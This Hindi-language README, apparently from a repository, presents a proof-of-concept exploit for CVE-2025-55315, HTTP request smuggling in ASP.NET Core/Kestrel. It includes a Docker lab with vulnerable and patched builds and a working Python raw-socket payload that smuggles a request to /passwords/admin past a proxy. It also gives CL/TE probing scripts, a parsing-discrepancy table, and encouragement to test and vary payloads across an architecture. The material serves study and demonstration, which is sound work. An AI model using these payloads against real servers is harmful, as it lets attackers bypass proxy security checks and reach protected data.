
CVE-2025-55315 (.NET HTTP अनुरोध तस्करी) के लिए प्रूफ-ऑफ-कॉन्सेप्ट शोषण। दर्शाता है कि अनुचित रूप से पार्स किया गया चंक्ड एन्कोडिंग हमलावरों को कमजोर ASP.NET Core/Kestrel सर्वरों में प्रॉक्सी और लोड बैलेंसर से अनुरोधों की तस्करी करने की अनुमति देता है।
CVE-2025-55315 (.NET HTTP Request Smuggling) के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट। यह दर्शाता है कि किस प्रकार अनुचित तरीके से पार्स किया गया चंक्ड एन्कोडिंग हमलावरों को कमजोर ASP.NET Core/Kestrel सर्वरों में प्रॉक्सी और लोड बैलेंसर्स के पीछे अनुरोधों को तस्करी करने देता है।
इंटरैक्टिव Prezi प्रस्तुति देखें
🎥 पूर्ण इंटरैक्टिव प्रस्तुति देखने के लिए ऊपर दिए गए बैज पर क्लिक करें
Dockerfile.vulnerable - .NET 10.0.100-rc.1 का उपयोग करता है (CVE-2025-55315 के प्रति संवेदनशील)Dockerfile.patched - .NET 10.0.100 (पैच किया गया संस्करण) का उपयोग करता हैनोट: कमजोरी .NET रनटाइम के HTTP पार्सर (Kestrel) में है, एप्लिकेशन कोड में नहीं। दोनों संस्करण समान स्रोत कोड लेकिन विभिन्न .NET रनटाइम संस्करणों का उपयोग करते हैं।
# Build and run all services
docker-compose up --build
# Access the services
# Unsafe API: http://localhost:5001
# Safe API: http://localhost:5002
# Python Proxy (exploit): http://localhost:5027
# YARP Proxy (load balancing): http://localhost:5028
विस्तृत Docker उपयोग निर्देशों के लिए DOCKER.md देखें।
Python प्रॉक्सी Content-Length को Transfer-Encoding पर प्राथमिकता देकर CVE-2025-55315 का प्रदर्शन करता है, जिससे HTTP अनुरोध तस्करी संभव होती है:
payload = (
"POST /passwords HTTP/1.1\r\n"
"Host: localhost:5027\r\n"
"Transfer-Encoding: chunked\r\n"
"\r\n"
"2;\n"
"xx\r\n"
"39\r\n"
"0\r\n"
"\r\n"
"GET /passwords/admin HTTP/1.1\r\n"
"Host: localhost:5001\r\n"
"\r\n"
"0\r\n"
"\r\n"
)
import socket
import time
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect(('localhost', 5027))
s.sendall(payload.encode())
# Read all available data
s.settimeout(2.0)
responses = b''
try:
while True:
chunk = s.recv(4096)
if not chunk:
break
responses += chunk
except socket.timeout:
pass
print("=== Complete Response ===")
print(responses.decode('utf-8', errors='ignore'))
print("\n=== Checking for smuggled request response ===")
if b'/passwords/admin' in responses or b'admin' in responses:
print("✓ Successfully smuggled request to /passwords/admin!")
else:
print("✗ Exploit failed or blocked")
यह पेलोड प्रॉक्सी के सुरक्षा जांच को पार करते हुए /passwords/admin पर दूसरा अनुरोध तस्करी करता है, प्रॉक्सी और बैकएंड सर्वर के बीच अनुरोध पार्सिंग में असमानता का शोषण करता है।
यहाँ दिखाया गया है कि प्रॉक्सी और बैकएंड सर्वर एक ही पेलोड की अलग-अलग व्याख्या कैसे करते हैं:
|
प्रॉक्सी व्याख्या ( |
बैकएंड व्याख्या ( |
मुख्य अंतर:
| घटक | चंक आकार 2;\n | पढ़े गए बाइट्स | क्या होता है |
|---|---|---|---|
| प्रॉक्सी | ✅ मान्य चंक आकार | 2 बाइट्स (xx) | 2;\n को पूर्ण चंक हेडर मानता है, 2 बाइट पढ़ता है, अगले चंक पर जाता है |
| बैकएंड | ❌ अमान्य लाइन एंडिंग | फिर भी 2 बाइट चंक के रूप में पढ़ता है | चंक हेडर xx\r\n तक समाप्त नहीं होता, इसलिए 39 चंक बॉडी बन जाता है, 0 चंक समाप्त करता है |
विस्तृत व्याख्या:
2;\n को मान्य चंक आकार घोषणा (2 बाइट) के रूप में स्वीकार करता है → xx को 2-बाइट चंक बॉडी के रूप में पढ़ता है → अगले चंक (39) पर जाता है\n को लाइन एंडिंग के रूप में अस्वीकार करता है → चंक आकार अभी भी 2 है लेकिन हेडर 2;\nxx\r\n तक विस्तारित होता है → 39 को चंक बॉडी के भाग के रूप में पढ़ता है → 0\r\n चंक समाप्त करता हैGET /passwords/admin अनुरोध इस बात में छिपा है कि बैकएंड चंक डेटा के रूप में क्या मानता है, लेकिन चंक प्रसंस्करण पूर्ण होने के बाद एक अलग अनुरोध के रूप में पार्स हो जाता हैतस्करी किया गया GET /passwords/admin अनुरोध इस बात में छिपा है जिसे प्रॉक्सी चंक बॉडी डेटा समझता है, लेकिन बैकएंड इसे एक अलग HTTP अनुरोध के रूप में पार्स करता है।
शोषण से पहले, आपको यह पहचानना होगा कि विभिन्न घटक किस HTTP हेडर (Content-Length या Transfer-Encoding) को प्राथमिकता देते हैं। यहाँ चरण-दर-चरण मार्गदर्शिका है:
दोनों Content-Length और Transfer-Encoding: chunked हेडर के साथ एक अनुरोध भेजें ताकि देखा जा सके कि प्रत्येक घटक किसका सम्मान करता है:
POST /passwords HTTP/1.1\r\n
Host: localhost:5001\r\n
Transfer-Encoding: chunked\r\n
Content-Length: 2\r\n
\r\n
6\r\n
Fabian\r\n
0\r\n
\r\n
विश्लेषण:
Content-Length को प्राथमिकता देता हैTransfer-Encoding को प्राथमिकता देता हैअसमानताएं खोजने के लिए अपने आर्किटेक्चर के सभी घटकों का परीक्षण करें:
# Using Python
import socket
test_payload = (
"POST /passwords HTTP/1.1\r\n"
"Host: localhost:5001\r\n"
"Transfer-Encoding: chunked\r\n"
"Content-Length: 2\r\n"
"\r\n"
"6\r\n"
"Fabian\r\n"
"0\r\n"
"\r\n"
)
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect(('localhost', 5001))
s.sendall(test_payload.encode())
s.settimeout(1.0)
try:
response = s.recv(4096)
print("Unsafe API Response:", response.decode('utf-8', errors='ignore'))
except socket.timeout:
pass
# Change port to 5002 and test
# Safe API should handle the conflict properly
# Change port to 5027
# Python proxy favors Content-Length (vulnerable)
# Change port to 5028
# Test how YARP handles the header conflict
/passwords पर कैप्चर करेंTransfer-Encoding: chunked\r\n
Content-Length: 2\r\n
\r\n
6\r\n
Fabian\r\n
0\r\n
\r\n
एक बार जब आप पहचान लें:
Content-Length को प्राथमिकता देता है (केवल N बाइट पढ़ता है)Transfer-Encoding को प्राथमिकता देता है (चंक बॉडी पढ़ता है)आप एक दूसरा अनुरोध तस्करी कर सकते हैं जिसे प्रॉक्सी कभी नहीं देखता लेकिन बैकएंड संसाधित करता है।
पूरा एक्सप्लॉइट पेलोड चलाएं (ऊपर "एक्सप्लॉइट प्रदर्शन" अनुभाग देखें) और पुष्टि करें:
socket: सटीक HTTP स्वरूपण के लिए निम्न-स्तरीय नियंत्रण--data-binary: त्वरित कमांड-लाइन परीक्षणएक्सप्लॉइट को कई तरीकों से तैयार किया जा सकता है। विभिन्न दृष्टिकोणों के साथ प्रयोग करें:
# Add Content-Length to make the desync explicit
payload = (
"POST /passwords HTTP/1.1\r\n"
"Host: localhost:5027\r\n"
"Content-Length: 75\r\n"
"Transfer-Encoding: chunked\r\n"
# ... rest of payload
)
\n को मान्य लाइन एंडिंग के रूप में स्वीकार करता है → 2;\n को चंक आकार मानता है → 2 बाइट (xx) पढ़ता है\n को अस्वीकार करता है → चंक हेडर 2;\nxx\r\n तक विस्तारित होता है → 39 चंक बॉडी बन जाता है → 0\r\n चंक समाप्त करता हैPythonProxy/proxy_server.py को संशोधित करके विभिन्न डीसिंक परिदृश्यों का प्रयास करें:
\n बनाम \r\n)इनके साथ प्रयोग करें: